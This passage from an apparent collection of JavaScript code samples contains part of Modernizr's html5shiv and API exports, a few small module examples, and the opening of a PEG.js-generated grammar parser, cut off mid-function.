}());\n\n      /*--------------------------------------------------------------------------*/\n\n      /**\n       * Creates a style sheet with the given CSS text and adds it to the document.\n       * @private\n       * @param {Document} ownerDocument The document.\n       * @param {String} cssText The CSS text.\n       * @returns {StyleSheet} The style element.\n       */\n      function addStyleSheet(ownerDocument, cssText) {\n        var p = ownerDocument.createElement('p'),\n            parent = ownerDocument.getElementsByTagName('head')[0] || ownerDocument.documentElement;\n\n        p.innerHTML = 'x<style>' + cssText + '</style>';\n        return parent.insertBefore(p.lastChild, parent.firstChild);\n      }\n\n      /**\n       * Returns the value of `html5.elements` as an array.\n       * @private\n       * @returns {Array} An array of shived element node names.\n       */\n      function getElements() {\n        var elements = html5.elements;\n        return typeof elements == 'string' ? elements.split(' ') : elements;\n      }\n\n      /**\n       * Shivs the `createElement` and `createDocumentFragment` methods of the document.\n       * @private\n       * @param {Document|DocumentFragment} ownerDocument The document.\n       */\n      function shivMethods(ownerDocument) {\n        var cache = {},\n            docCreateElement = ownerDocument.createElement,\n            docCreateFragment = ownerDocument.createDocumentFragment,\n            frag = docCreateFragment();\n\n        ownerDocument.createElement = function(nodeName) {\n          //abort shiv\n          if(!html5.shivMethods){\n              return docCreateElement(nodeName);\n          }\n\n          var node;\n\n          if(cache[nodeName]){\n              node = cache[nodeName].cloneNode();\n          } else if(saveClones.test(nodeName)){\n               node = (cache[nodeName] = docCreateElement(nodeName)).cloneNode();\n          } else {\n              node = docCreateElement(nodeName);\n          }\n\n          // Avoid adding some elements to fragments in IE < 9 because\n          // * Attributes like `name` or `type` cannot be set/changed once an element\n          //   is inserted into a document/fragment\n          // * Link elements with `src` attributes that are inaccessible, as with\n          //   a 403 response, will cause the tab/window to crash\n          // * Script elements appended to fragments will execute when their `src`\n          //   or `text` property is set\n          return node.canHaveChildren && !reSkip.test(nodeName) ? frag.appendChild(node) : node;\n        };\n\n        ownerDocument.createDocumentFragment = Function('h,f', 'return function(){' +\n          'var n=f.cloneNode(),c=n.createElement;' +\n          'h.shivMethods&&(' +\n            // unroll the `createElement` calls\n            getElements().join().replace(/\\w+/g, function(nodeName) {\n              docCreateElement(nodeName);\n              frag.createElement(nodeName);\n              return 'c(\"' + nodeName + '\")';\n            }) +\n          ');return n}'\n        )(html5, frag);\n      }\n\n      /*--------------------------------------------------------------------------*/\n\n      /**\n       * Shivs the given document.\n       * @memberOf html5\n       * @param {Document} ownerDocument The document to shiv.\n       * @returns {Document} The shived document.\n       */\n      function shivDocument(ownerDocument) {\n        var shived;\n        if (ownerDocument.documentShived) {\n          return ownerDocument;\n        }\n        if (html5.shivCSS && !supportsHtml5Styles) {\n          shived = !!addStyleSheet(ownerDocument,\n            // corrects block display not defined in IE6/7/8/9\n            'article,aside,details,figcaption,figure,footer,header,hgroup,nav,section{display:block}' +\n            // corrects audio display not defined in IE6/7/8/9\n            'audio{display:none}' +\n            // corrects canvas and video display not defined in IE6/7/8/9\n            'canvas,video{display:inline-block;*display:inline;*zoom:1}' +\n            // corrects 'hidden' attribute and audio[controls] display not present in IE7/8/9\n            '[hidden]{display:none}audio[controls]{display:inline-block;*display:inline;*zoom:1}' +\n            // adds styling not present in IE6/7/8/9\n            'mark{background:#FF0;color:#000}'\n          );\n        }\n        if (!supportsUnknownElements) {\n          shived = !shivMethods(ownerDocument);\n        }\n        if (shived) {\n          ownerDocument.documentShived = shived;\n        }\n        return ownerDocument;\n      }\n\n      /*--------------------------------------------------------------------------*/\n\n      /**\n       * The `html5` object is exposed so that more elements can be shived and\n       * existing shiving can be detected on iframes.\n       * @type Object\n       * @example\n       *\n       * // options can be changed before the script is included\n       * html5 = { 'elements': 'mark section', 'shivCSS': false, 'shivMethods': false };\n       */\n      var html5 = {\n\n        /**\n         * An array or space separated string of node names of the elements to shiv.\n         * @memberOf html5\n         * @type Array|String\n         */\n        'elements': options.elements || 'abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup mark meter nav output progress section summary time video',\n\n        /**\n         * A flag to indicate that the HTML5 style sheet should be inserted.\n         * @memberOf html5\n         * @type Boolean\n         */\n        'shivCSS': !(options.shivCSS === false),\n\n        /**\n         * A flag to indicate that the document's `createElement` and `createDocumentFragment`\n         * methods should be overwritten.\n         * @memberOf html5\n         * @type Boolean\n         */\n        'shivMethods': !(options.shivMethods === false),\n\n        /**\n         * A string to describe the type of `html5` object (\"default\" or \"default print\").\n         * @memberOf html5\n         * @type String\n         */\n        'type': 'default',\n\n        // shivs the document according to the specified `html5` object options\n        'shivDocument': shivDocument\n      };\n\n      /*--------------------------------------------------------------------------*/\n\n      // expose html5\n      window.html5 = html5;\n\n      // shiv the document\n      shivDocument(document);\n\n    }(this, document));\n    /*>>shiv*/\n\n    // Assign private properties to the return object with prefix\n    Modernizr._version      = version;\n\n    // expose these for the plugin API. Look in the source for how to join() them against your input\n    /*>>prefixes*/\n    Modernizr._prefixes     = prefixes;\n    /*>>prefixes*/\n    /*>>domprefixes*/\n    Modernizr._domPrefixes  = domPrefixes;\n    Modernizr._cssomPrefixes  = cssomPrefixes;\n    /*>>domprefixes*/\n\n    /*>>mq*/\n    // Modernizr.mq tests a given media query, live against the current state of the window\n    // A few important notes:\n    //   * If a browser does not support media queries at all (eg. oldIE) the mq() will always return false\n    //   * A max-width or orientation query will be evaluated against the current state, which may change later.\n    //   * You must specify values. Eg. If you are testing support for the min-width media query use:\n    //       Modernizr.mq('(min-width:0)')\n    // usage:\n    // Modernizr.mq('only screen and (max-width:768)')\n    Modernizr.mq            = testMediaQuery;\n    /*>>mq*/\n\n    /*>>hasevent*/\n    // Modernizr.hasEvent() detects support for a given event, with an optional element to test on\n    // Modernizr.hasEvent('gesturestart', elem)\n    Modernizr.hasEvent      = isEventSupported;\n    /*>>hasevent*/\n\n    /*>>testprop*/\n    // Modernizr.testProp() investigates whether a given style property is recognized\n    // Note that the property names must be provided in the camelCase variant.\n    // Modernizr.testProp('pointerEvents')\n    Modernizr.testProp      = function(prop){\n        return testProps([prop]);\n    };\n    /*>>testprop*/\n\n    /*>>testallprops*/\n    // Modernizr.testAllProps() investigates whether a given style property,\n    //   or any of its vendor-prefixed variants, is recognized\n    // Note that the property names must be provided in the camelCase variant.\n    // Modernizr.testAllProps('boxSizing')\n    Modernizr.testAllProps  = testPropsAll;\n    /*>>testallprops*/\n\n\n    /*>>teststyles*/\n    // Modernizr.testStyles() allows you to add custom styles to the document and test an element afterwards\n    // Modernizr.testStyles('#modernizr { position:absolute }', function(elem, rule){ ... })\n    Modernizr.testStyles    = injectElementWithStyles;\n    /*>>teststyles*/\n\n\n    /*>>prefixed*/\n    // Modernizr.prefixed() returns the prefixed or nonprefixed property name variant of your input\n    // Modernizr.prefixed('boxSizing') // 'MozBoxSizing'\n\n    // Properties must be passed as dom-style camelcase, rather than `box-sizing` hypentated style.\n    // Return values will also be the camelCase variant, if you need to translate that to hypenated style use:\n    //\n    //     str.replace(/([A-Z])/g, function(str,m1){ return '-' + m1.toLowerCase(); }).replace(/^ms-/,'-ms-');\n\n    // If you're trying to ascertain which transition end event to bind to, you might do something like...\n    //\n    //     var transEndEventNames = {\n    //       'WebkitTransition' : 'webkitTransitionEnd',\n    //       'MozTransition'    : 'transitionend',\n    //       'OTransition'      : 'oTransitionEnd',\n    //       'msTransition'     : 'MSTransitionEnd',\n    //       'transition'       : 'transitionend'\n    //     },\n    //     transEndEventName = transEndEventNames[ Modernizr.prefixed('transition') ];\n\n    Modernizr.prefixed      = function(prop, obj, elem){\n      if(!obj) {\n        return testPropsAll(prop, 'pfx');\n      } else {\n        // Testing DOM property e.g. Modernizr.prefixed('requestAnimationFrame', window) // 'mozRequestAnimationFrame'\n        return testPropsAll(prop, obj, elem);\n      }\n    };\n    /*>>prefixed*/\n\n\n    /*>>cssclasses*/\n    // Remove \"no-js\" class from <html> element, if it exists:\n    docElement.className = docElement.className.replace(/(^|\\s)no-js(\\s|$)/, '$1$2') +\n\n                            // Add the new classes to the <html> element.\n                            (enableClasses ? ' js ' + classes.join(' ') : '');\n    /*>>cssclasses*/\n\n    return Modernizr;\n\n})(this, this.document);\n"
  },
  {
    "path": "samples/JavaScript/module.mjs",
    "content": "import {foo} from './entry.mjs';\nconsole.log(foo());\n\nconst bar = \"I am bar.\";\nexport {bar as default};\n"
  },
  {
    "path": "samples/JavaScript/namespace.js",
    "content": "(function(root, factory) {\n  if (typeof define === 'function' && define.amd) {\n    define(['lodash'], factory);\n  } else if (typeof exports !== 'undefined') {\n    module.exports = factory(require('lodash'));\n  } else {\n    root.Namespace = factory(root._);\n  }\n})(this, function(_) {\n  'use strict';\n\n  /**\n   * @module namespace\n   * @class namespace\n   */\n  function Namespace() {}\n  \n  /**\n   * Regex for splitting keypaths into arrays.\n   *\n   * @private\n   * @const {RegExp}\n   * @type\n   */\n  var KEYPATH_SPLITTER = /\\./g;\n  \n  /**\n   * An internal cache to avoid calculating a keypath more than once.\n   *\n   * @private\n   * @type {Object}\n   */\n  var _keypaths = {};\n  \n  _.extend(Namespace.prototype, {\n  \n    /**\n     * Adds a definition to the namespace object.\n     *\n     * @public\n     * @instance\n     * @method add\n     * @param {String} keypath - The keypath for the definition to be added at.\n     * @param {Function|Object} definition - The definition to be added.\n     * @return {Function|Object} - The definition.\n     */\n    add: function(keypath, definition) {\n      return this._walk(keypath, function(memo, name, index, keypath) {\n        if (index + 1 === keypath.length) {\n          memo[name] = _.extend(definition, memo[name]);\n        }\n        return memo[name] || (memo[name] = {});\n      });\n    },\n  \n    /**\n     * Retrieves a definition from the namespace safely.\n     *\n     * @public\n     * @instance\n     * @method get\n     * @param {String} keypath - The keypath to lookup a definition for.\n     * @returns {Function|Object|undefined} - The definition if it exists, otherwise `undefined`.\n     */\n    get: function(keypath) {\n      return this._walk(keypath);\n    },\n  \n    /**\n     * An internal function for walking a keypath.\n     *\n     * @private\n     * @instance\n     * @method _walk\n     * @param {String} keypath - The keypath to walk through.\n     * @param {Function} [callback] - An optional callback to be called at each item in the path.\n     * @returns {function|Object|undefined} - The reduced keypath.\n     */\n    _walk: function(keypath, callback) {\n      return _.reduce(\n        _keypaths[keypath] || (_keypaths[keypath] = keypath.split(KEYPATH_SPLITTER)),\n        callback || function(memo, name) {\n          return memo && memo[name];\n        },\n        this\n      );\n    }\n  });\n  \n  return Namespace;\n});\n\n//# sourceMappingURL=namespace.js.map"
  },
  {
    "path": "samples/JavaScript/outro.js.frag",
    "content": "\n})(window, window.angular);\n\n"
  },
  {
    "path": "samples/JavaScript/parser.js",
    "content": "PEG.parser = (function(){\n  /*\n   * Generated by PEG.js 0.7.0.\n   *\n   * http://pegjs.majda.cz/\n   */\n\n  function quote(s) {\n    /*\n     * ECMA-262, 5th ed., 7.8.4: All characters may appear literally in a\n     * string literal except for the closing quote character, backslash,\n     * carriage return, line separator, paragraph separator, and line feed.\n     * Any character may appear in the form of an escape sequence.\n     *\n     * For portability, we also escape escape all control and non-ASCII\n     * characters. Note that \"\\0\" and \"\\v\" escape sequences are not used\n     * because JSHint does not like the first and IE the second.\n     */\n     return '\"' + s\n      .replace(/\\\\/g, '\\\\\\\\')  // backslash\n      .replace(/\"/g, '\\\\\"')    // closing quote character\n      .replace(/\\x08/g, '\\\\b') // backspace\n      .replace(/\\t/g, '\\\\t')   // horizontal tab\n      .replace(/\\n/g, '\\\\n')   // line feed\n      .replace(/\\f/g, '\\\\f')   // form feed\n      .replace(/\\r/g, '\\\\r')   // carriage return\n      .replace(/[\\x00-\\x07\\x0B\\x0E-\\x1F\\x80-\\uFFFF]/g, escape)\n      + '\"';\n  }\n\n  var result = {\n    /*\n     * Parses the input with a generated parser. If the parsing is successfull,\n     * returns a value explicitly or implicitly specified by the grammar from\n     * which the parser was generated (see |PEG.buildParser|). If the parsing is\n     * unsuccessful, throws |PEG.parser.SyntaxError| describing the error.\n     */\n    parse: function(input, startRule) {\n      var parseFunctions = {\n        \"grammar\": parse_grammar,\n        \"initializer\": parse_initializer,\n        \"rule\": parse_rule,\n        \"choice\": parse_choice,\n        \"sequence\": parse_sequence,\n        \"labeled\": parse_labeled,\n        \"prefixed\": parse_prefixed,\n        \"suffixed\": parse_suffixed,\n        \"primary\": parse_primary,\n        \"action\": parse_action,\n        \"braced\": parse_braced,\n        \"nonBraceCharacters\": parse_nonBraceCharacters,\n        \"nonBraceCharacter\": parse_nonBraceCharacter,\n        \"equals\": parse_equals,\n        \"colon\": parse_colon,\n        \"semicolon\": parse_semicolon,\n        \"slash\": parse_slash,\n        \"and\": parse_and,\n        \"not\": parse_not,\n        \"question\": parse_question,\n        \"star\": parse_star,\n        \"plus\": parse_plus,\n        \"lparen\": parse_lparen,\n        \"rparen\": parse_rparen,\n        \"dot\": parse_dot,\n        \"identifier\": parse_identifier,\n        \"literal\": parse_literal,\n        \"string\": parse_string,\n        \"doubleQuotedString\": parse_doubleQuotedString,\n        \"doubleQuotedCharacter\": parse_doubleQuotedCharacter,\n        \"simpleDoubleQuotedCharacter\": parse_simpleDoubleQuotedCharacter,\n        \"singleQuotedString\": parse_singleQuotedString,\n        \"singleQuotedCharacter\": parse_singleQuotedCharacter,\n        \"simpleSingleQuotedCharacter\": parse_simpleSingleQuotedCharacter,\n        \"class\": parse_class,\n        \"classCharacterRange\": parse_classCharacterRange,\n        \"classCharacter\": parse_classCharacter,\n        \"bracketDelimitedCharacter\": parse_bracketDelimitedCharacter,\n        \"simpleBracketDelimitedCharacter\": parse_simpleBracketDelimitedCharacter,\n        \"simpleEscapeSequence\": parse_simpleEscapeSequence,\n        \"zeroEscapeSequence\": parse_zeroEscapeSequence,\n        \"hexEscapeSequence\": parse_hexEscapeSequence,\n        \"unicodeEscapeSequence\": parse_unicodeEscapeSequence,\n        \"eolEscapeSequence\": parse_eolEscapeSequence,\n        \"digit\": parse_digit,\n        \"hexDigit\": parse_hexDigit,\n        \"letter\": parse_letter,\n        \"lowerCaseLetter\": parse_lowerCaseLetter,\n        \"upperCaseLetter\": parse_upperCaseLetter,\n        \"__\": parse___,\n        \"comment\": parse_comment,\n        \"singleLineComment\": parse_singleLineComment,\n        \"multiLineComment\": parse_multiLineComment,\n        \"eol\": parse_eol,\n        \"eolChar\": parse_eolChar,\n        \"whitespace\": parse_whitespace\n      };\n\n      if (startRule !== undefined) {\n        if (parseFunctions[startRule] === undefined) {\n          throw new Error(\"Invalid rule name: \" + quote(startRule) + \".\");\n        }\n      } else {\n        startRule = \"grammar\";\n      }\n\n      var pos = 0;\n      var reportFailures = 0;\n      var rightmostFailuresPos = 0;\n      var rightmostFailuresExpected = [];\n\n      function padLeft(input, padding, length) {\n        var result = input;\n\n        var padLength = length - input.length;\n        for (var i = 0; i < padLength; i++) {\n          result = padding + result;\n        }\n\n        return result;\n      }\n\n      function escape(ch) {\n        var charCode = ch.charCodeAt(0);\n        var escapeChar;\n        var length;\n\n        if (charCode <= 0xFF) {\n          escapeChar = 'x';\n          length = 2;\n        } else {\n          escapeChar = 'u';\n          length = 4;\n        }\n\n        return '\\\\' + escapeChar + padLeft(charCode.toString(16).toUpperCase(), '0', length);\n      }\n\n      function matchFailed(failure) {\n        if (pos < rightmostFailuresPos) {\n          return;\n        }\n\n        if (pos > rightmostFailuresPos) {\n          rightmostFailuresPos = pos;\n          rightmostFailuresExpected = [];\n        }\n\n        rightmostFailuresExpected.push(failure);\n      }\n\n      function parse_grammar() {\n        var result0, result1, result2, result3;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        result0 = parse___();\n        if (result0 !== null) {\n          result1 = parse_initializer();\n          result1 = result1 !== null ? result1 : \"\";\n          if (result1 !== null) {\n            result3 = parse_rule();\n            if (result3 !== null) {\n              result2 = [];\n              while (result3 !== null) {\n                result2.push(result3);\n                result3 = parse_rule();\n              }\n            } else {\n              result2 = null;\n            }\n            if (result2 !== null) {\n              result0 = [result0, result1, result2];\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, initializer, rules) {\n              return {\n                type:        \"grammar\",\n                initializer: initializer !== \"\" ? initializer : null,\n                rules:       rules,\n                startRule:   rules[0].name\n              };\n            })(pos0, result0[1], result0[2]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_initializer() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        result0 = parse_action();\n        if (result0 !== null) {\n          result1 = parse_semicolon();\n          result1 = result1 !== null ? result1 : \"\";\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, code) {\n              return {\n                type: \"initializer\",\n                code: code\n              };\n            })(pos0, result0[0]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_rule() {\n        var result0, result1, result2, result3, result4;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        result0 = parse_identifier();\n        if (result0 !== null) {\n          result1 = parse_string();\n          result1 = result1 !== null ? result1 : \"\";\n          if (result1 !== null) {\n            result2 = parse_equals();\n            if (result2 !== null) {\n              result3 = parse_choice();\n              if (result3 !== null) {\n                result4 = parse_semicolon();\n                result4 = result4 !== null ? result4 : \"\";\n                if (result4 !== null) {\n                  result0 = [result0, result1, result2, result3, result4];\n                } else {\n                  result0 = null;\n                  pos = pos1;\n                }\n              } else {\n                result0 = null;\n                pos = pos1;\n              }\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, name, displayName, expression) {\n              return {\n                type:        \"rule\",\n                name:        name,\n                displayName: displayName !== \"\" ? displayName : null,\n                expression:  expression\n              };\n            })(pos0, result0[0], result0[1], result0[3]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_choice() {\n        var result0, result1, result2, result3;\n        var pos0, pos1, pos2;\n\n        pos0 = pos;\n        pos1 = pos;\n        result0 = parse_sequence();\n        if (result0 !== null) {\n          result1 = [];\n          pos2 = pos;\n          result2 = parse_slash();\n          if (result2 !== null) {\n            result3 = parse_sequence();\n            if (result3 !== null) {\n              result2 = [result2, result3];\n            } else {\n              result2 = null;\n              pos = pos2;\n            }\n          } else {\n            result2 = null;\n            pos = pos2;\n          }\n          while (result2 !== null) {\n            result1.push(result2);\n            pos2 = pos;\n            result2 = parse_slash();\n            if (result2 !== null) {\n              result3 = parse_sequence();\n              if (result3 !== null) {\n                result2 = [result2, result3];\n              } else {\n                result2 = null;\n                pos = pos2;\n              }\n            } else {\n              result2 = null;\n              pos = pos2;\n            }\n          }\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, head, tail) {\n              if (tail.length > 0) {\n                var alternatives = [head].concat(map(\n                    tail,\n                    function(element) { return element[1]; }\n                ));\n                return {\n                  type:         \"choice\",\n                  alternatives: alternatives\n                };\n              } else {\n                return head;\n              }\n            })(pos0, result0[0], result0[1]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_sequence() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        result0 = [];\n        result1 = parse_labeled();\n        while (result1 !== null) {\n          result0.push(result1);\n          result1 = parse_labeled();\n        }\n        if (result0 !== null) {\n          result1 = parse_action();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, elements, code) {\n              var expression = elements.length !== 1\n                ? {\n                    type:     \"sequence\",\n                    elements: elements\n                  }\n                : elements[0];\n              return {\n                type:       \"action\",\n                expression: expression,\n                code:       code\n              };\n            })(pos0, result0[0], result0[1]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        if (result0 === null) {\n          pos0 = pos;\n          result0 = [];\n          result1 = parse_labeled();\n          while (result1 !== null) {\n            result0.push(result1);\n            result1 = parse_labeled();\n          }\n          if (result0 !== null) {\n            result0 = (function(offset, elements) {\n                return elements.length !== 1\n                  ? {\n                      type:     \"sequence\",\n                      elements: elements\n                    }\n                  : elements[0];\n              })(pos0, result0);\n          }\n          if (result0 === null) {\n            pos = pos0;\n          }\n        }\n        return result0;\n      }\n\n      function parse_labeled() {\n        var result0, result1, result2;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        result0 = parse_identifier();\n        if (result0 !== null) {\n          result1 = parse_colon();\n          if (result1 !== null) {\n            result2 = parse_prefixed();\n            if (result2 !== null) {\n              result0 = [result0, result1, result2];\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, label, expression) {\n              return {\n                type:       \"labeled\",\n                label:      label,\n                expression: expression\n              };\n            })(pos0, result0[0], result0[2]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        if (result0 === null) {\n          result0 = parse_prefixed();\n        }\n        return result0;\n      }\n\n      function parse_prefixed() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        result0 = parse_and();\n        if (result0 !== null) {\n          result1 = parse_action();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, code) {\n              return {\n                type: \"semantic_and\",\n                code: code\n              };\n            })(pos0, result0[1]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        if (result0 === null) {\n          pos0 = pos;\n          pos1 = pos;\n          result0 = parse_and();\n          if (result0 !== null) {\n            result1 = parse_suffixed();\n            if (result1 !== null) {\n              result0 = [result0, result1];\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n          if (result0 !== null) {\n            result0 = (function(offset, expression) {\n                return {\n                  type:       \"simple_and\",\n                  expression: expression\n                };\n              })(pos0, result0[1]);\n          }\n          if (result0 === null) {\n            pos = pos0;\n          }\n          if (result0 === null) {\n            pos0 = pos;\n            pos1 = pos;\n            result0 = parse_not();\n            if (result0 !== null) {\n              result1 = parse_action();\n              if (result1 !== null) {\n                result0 = [result0, result1];\n              } else {\n                result0 = null;\n                pos = pos1;\n              }\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n            if (result0 !== null) {\n              result0 = (function(offset, code) {\n                  return {\n                    type: \"semantic_not\",\n                    code: code\n                  };\n                })(pos0, result0[1]);\n            }\n            if (result0 === null) {\n              pos = pos0;\n            }\n            if (result0 === null) {\n              pos0 = pos;\n              pos1 = pos;\n              result0 = parse_not();\n              if (result0 !== null) {\n                result1 = parse_suffixed();\n                if (result1 !== null) {\n                  result0 = [result0, result1];\n                } else {\n                  result0 = null;\n                  pos = pos1;\n                }\n              } else {\n                result0 = null;\n                pos = pos1;\n              }\n              if (result0 !== null) {\n                result0 = (function(offset, expression) {\n                    return {\n                      type:       \"simple_not\",\n                      expression: expression\n                    };\n                  })(pos0, result0[1]);\n              }\n              if (result0 === null) {\n                pos = pos0;\n              }\n              if (result0 === null) {\n                result0 = parse_suffixed();\n              }\n            }\n          }\n        }\n        return result0;\n      }\n\n      function parse_suffixed() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        result0 = parse_primary();\n        if (result0 !== null) {\n          result1 = parse_question();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, expression) {\n              return {\n                type:       \"optional\",\n                expression: expression\n              };\n            })(pos0, result0[0]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        if (result0 === null) {\n          pos0 = pos;\n          pos1 = pos;\n          result0 = parse_primary();\n          if (result0 !== null) {\n            result1 = parse_star();\n            if (result1 !== null) {\n              result0 = [result0, result1];\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n          if (result0 !== null) {\n            result0 = (function(offset, expression) {\n                return {\n                  type:       \"zero_or_more\",\n                  expression: expression\n                };\n              })(pos0, result0[0]);\n          }\n          if (result0 === null) {\n            pos = pos0;\n          }\n          if (result0 === null) {\n            pos0 = pos;\n            pos1 = pos;\n            result0 = parse_primary();\n            if (result0 !== null) {\n              result1 = parse_plus();\n              if (result1 !== null) {\n                result0 = [result0, result1];\n              } else {\n                result0 = null;\n                pos = pos1;\n              }\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n            if (result0 !== null) {\n              result0 = (function(offset, expression) {\n                  return {\n                    type:       \"one_or_more\",\n                    expression: expression\n                  };\n                })(pos0, result0[0]);\n            }\n            if (result0 === null) {\n              pos = pos0;\n            }\n            if (result0 === null) {\n              result0 = parse_primary();\n            }\n          }\n        }\n        return result0;\n      }\n\n      function parse_primary() {\n        var result0, result1, result2;\n        var pos0, pos1, pos2, pos3;\n\n        pos0 = pos;\n        pos1 = pos;\n        result0 = parse_identifier();\n        if (result0 !== null) {\n          pos2 = pos;\n          reportFailures++;\n          pos3 = pos;\n          result1 = parse_string();\n          result1 = result1 !== null ? result1 : \"\";\n          if (result1 !== null) {\n            result2 = parse_equals();\n            if (result2 !== null) {\n              result1 = [result1, result2];\n            } else {\n              result1 = null;\n              pos = pos3;\n            }\n          } else {\n            result1 = null;\n            pos = pos3;\n          }\n          reportFailures--;\n          if (result1 === null) {\n            result1 = \"\";\n          } else {\n            result1 = null;\n            pos = pos2;\n          }\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, name) {\n              return {\n                type: \"rule_ref\",\n                name: name\n              };\n            })(pos0, result0[0]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        if (result0 === null) {\n          result0 = parse_literal();\n          if (result0 === null) {\n            pos0 = pos;\n            result0 = parse_dot();\n            if (result0 !== null) {\n              result0 = (function(offset) { return { type: \"any\" }; })(pos0);\n            }\n            if (result0 === null) {\n              pos = pos0;\n            }\n            if (result0 === null) {\n              result0 = parse_class();\n              if (result0 === null) {\n                pos0 = pos;\n                pos1 = pos;\n                result0 = parse_lparen();\n                if (result0 !== null) {\n                  result1 = parse_choice();\n                  if (result1 !== null) {\n                    result2 = parse_rparen();\n                    if (result2 !== null) {\n                      result0 = [result0, result1, result2];\n                    } else {\n                      result0 = null;\n                      pos = pos1;\n                    }\n                  } else {\n                    result0 = null;\n                    pos = pos1;\n                  }\n                } else {\n                  result0 = null;\n                  pos = pos1;\n                }\n                if (result0 !== null) {\n                  result0 = (function(offset, expression) { return expression; })(pos0, result0[1]);\n                }\n                if (result0 === null) {\n                  pos = pos0;\n                }\n              }\n            }\n          }\n        }\n        return result0;\n      }\n\n      function parse_action() {\n        var result0, result1;\n        var pos0, pos1;\n\n        reportFailures++;\n        pos0 = pos;\n        pos1 = pos;\n        result0 = parse_braced();\n        if (result0 !== null) {\n          result1 = parse___();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, braced) { return braced.substr(1, braced.length - 2); })(pos0, result0[0]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        reportFailures--;\n        if (reportFailures === 0 && result0 === null) {\n          matchFailed(\"action\");\n        }\n        return result0;\n      }\n\n      function parse_braced() {\n        var result0, result1, result2;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 123) {\n          result0 = \"{\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"{\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = [];\n          result2 = parse_braced();\n          if (result2 === null) {\n            result2 = parse_nonBraceCharacters();\n          }\n          while (result2 !== null) {\n            result1.push(result2);\n            result2 = parse_braced();\n            if (result2 === null) {\n              result2 = parse_nonBraceCharacters();\n            }\n          }\n          if (result1 !== null) {\n            if (input.charCodeAt(pos) === 125) {\n              result2 = \"}\";\n              pos++;\n            } else {\n              result2 = null;\n              if (reportFailures === 0) {\n                matchFailed(\"\\\"}\\\"\");\n              }\n            }\n            if (result2 !== null) {\n              result0 = [result0, result1, result2];\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, parts) {\n              return \"{\" + parts.join(\"\") + \"}\";\n            })(pos0, result0[1]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_nonBraceCharacters() {\n        var result0, result1;\n        var pos0;\n\n        pos0 = pos;\n        result1 = parse_nonBraceCharacter();\n        if (result1 !== null) {\n          result0 